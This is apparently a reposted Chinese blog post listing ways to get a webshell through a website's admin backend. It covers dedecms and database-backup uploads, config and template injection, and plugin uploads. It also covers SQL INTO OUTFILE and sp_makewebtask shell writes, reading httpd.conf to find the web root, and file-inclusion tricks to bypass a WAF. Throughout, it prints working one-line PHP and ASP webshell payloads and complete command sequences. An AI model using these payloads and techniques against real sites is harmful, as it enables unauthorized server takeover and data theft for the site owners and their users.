1. 程式人生 > >網站後臺getshell的方法總結

網站後臺getshell的方法總結

數據庫 說明 cms notepad++ file ebs .cn ESS 直接

網站後臺getshell的方法總結

方法一:直接上傳getshell

以dedecms為例,後臺可以直接上傳腳本文件,從而getshell,具體方法如下:

技術分享圖片

即可成功上傳大馬,並成功執行,從而拿下webshell。

坑:通常由於權限限制,導致只有該目錄權限,無法進入其他目錄,此時便可以采用../跳轉到根目錄,或者其他目錄,此時所采用的方法是如下的文件改名

技術分享圖片

技術分享圖片

方法二:數據庫備份getshell

以南方數據cms為例:

1,首先上傳一張圖片馬上去,並且獲取圖片馬的路徑

2,在系統管理處選擇數據庫備份,進行數據庫備份getshell,具體操作方法如下:

技術分享圖片

技術分享圖片

技術分享圖片

然後使用菜刀連接即可成功getshell。

當所備份的數據庫來源無法修改時,我們可以通過首先將一句話木馬寫入數據庫,比如通過新建管理員用戶,將用戶名用一句話木馬代替(用戶名通常有長度限制,在前端修改maxlength即可)

<%eval request ("pass")%>

然後再通過備份數據庫getshell。

技術分享圖片

方法三:修改網站上傳類型配置拿webshell

有的網站在網站上傳類型中限制了上傳腳本類型文件,我們可以去添加上傳文件類型,如添加asp|php|jsp|aspx|asa|cer等來拿webshell。

方法四:利用文件解析漏洞來拿webshell

記錄在了這篇博客上面:https://www.cnblogs.com/v01cano/p/10326366.html

方法五:網站配置插馬拿webshell:

註:asp中單引號表示單行註釋作用

“%><%eval request("v01cano")%><%‘

一般先試試看該選項是否可以更改,如果可以更改,則插馬試試,因為插馬可能導致系統崩潰,所以一般需要首先需要本地搭建環境進行測試。

方法六:通過編輯器模板拿webshell

1,通過對網站的模板進行編輯寫入一句話,然後生成腳本文件拿webshell。比如ecshop

2,通過將木馬添加到壓縮文件,把名字改為網站模板類型,上傳到網站服務器,拿webshell。

技術分享圖片

方法七:通過添加插件getshell

即利用網站管理員的添加插件功能getshell,將大馬添加到插件的壓縮包中,然後上傳,從而getshell。比如wordpress,dz等等。

方法八:執行sql語句寫入webshell

通過sql語句寫入shell,首先執行錯誤的sql語句,使其暴露出網站的根目錄:

select "<?php phpinfo();?>" into outfile "C:\\vulcms\\ecshopv3.6\\ecshop\\v01cano.php";

關於此語句說明,在windows中有時候需要使用斜杠/有時候需要使用雙反斜杠\末尾有時候需要分號,有時候也不需要分號。

以ecshop為例:

技術分享圖片

也可以先將一句話通過新建管理員寫入到user表中,然後通過數據庫備份配合解析漏洞拿shell。

技術分享圖片

方法九:通過數據庫拿webshell

我們可以通過數據庫執行命令導出一句話到網站根目錄拿shell

access數據庫導出一般需要利用解析漏洞xx.asp;.xml

sqlserver導出:

exec sp_makewebtask ‘C:\test1.php‘,‘ select ‘‘<%eval request("pass")%>‘‘ ‘--

mysql命令導出getshell:

方法1

 Create TABLE xiaoma (xiaoma1 text NOT NULL);
 Insert INTO xiaoma (xiaoma1) VALUES(‘<?php eval($_POST[xiaoma]);?>‘);
 select xiaoma1 from xiaoma into outfile ‘D:/phpstudy/www/7.php‘;
 Drop TABLE IF EXISTS xiaoma;

方法2

select "<?php eval($_POST[v01cano]);?>" into outfile ‘D:/phpstudy/www/a.php‘

方法3:方法1和方法2都是在網站根目錄路徑已知的時候寫入shell,當數據庫路徑未知時,可以通過如下方法讀取數據庫路徑:網站的根目錄一般在網站配置文件httpd.conf中,而此目錄的路徑一般不變,一般在/apache/conf/httpd.conf中,(在phpmyadmin中的時候,我們可以選擇變量選項觀察其路徑,進而推測httpd.conf的路徑),在已知該文件路徑的條件下,我們可以通過如下方法讀取該文件中的內容:

//創建表a,並且將httpd.conf寫入到表a中。
create table a(a text);load data infile "C:/phpStudy/Apache/conf/httpd.conf" into table a;

然後執行導出操作,將該文件下載,使用notepad++打開,最後搜索documentroot,即可找到網站的根目錄:

技術分享圖片

httpd.conf文件可能存在的一些路徑:

linux中可能存在路徑:

apache
/usr/local/mysql
/user/local/apache/conf/httpd.conf
/user/local/httpd/conf/httpd.conf
/etc/httpd/conf/httpd.conf
/user/local/apache2/conf/httpd.conf

Nginx:

/user/local/nginx/conf/httpd.conf

方法四:直接通過load_file函數直接加載該文件內容

select load_file(‘C:/phpStudy/Apache/conf/httpd.conf‘);

但是需要在選項中進行如下配置才會顯示出來:

技術分享圖片

技術分享圖片

方法n:還有通過日誌拿shell的多種方式,已經記錄在博客:

https://www.cnblogs.com/v01cano/p/10292670.html

方法十:通過文件包含拿webshell

先將webshell改為txt文件上傳,然後上傳一個腳本文件包含該txt文件,可以繞過waf拿webshell。

常用的文件包含方法如下:

asp包含:
1,<!--#include file="123.jpg"-->
2,調用的文件必須和被調用的文件在同一目錄,否則找不到
3,如果不在同一目錄,用下面語句也可以:
<!--#include virtual="文件所在目錄/123.jpg"-->

php包含:
<?php
Include(‘123.jpg‘);
?>

方法十一:命令執行拿webshell

Echo ^<^?php @eval($_POST[v01cano]);?^>^ >c:\1.php

^<^%eval request("cracer")%^>^ >c:\1.php

十二:沒有進入後臺如下拿webshell

  • 0day拿webshell

  • IIS寫權限拿webshell(put一個shell進去)

  • 命令執行拿webshell

  • 通過註入漏洞拿webshell

  • 前臺圖片上傳拿webshell

  • Strusts2拿webshell

  • java反序列拿shell

網站後臺getshell的方法總結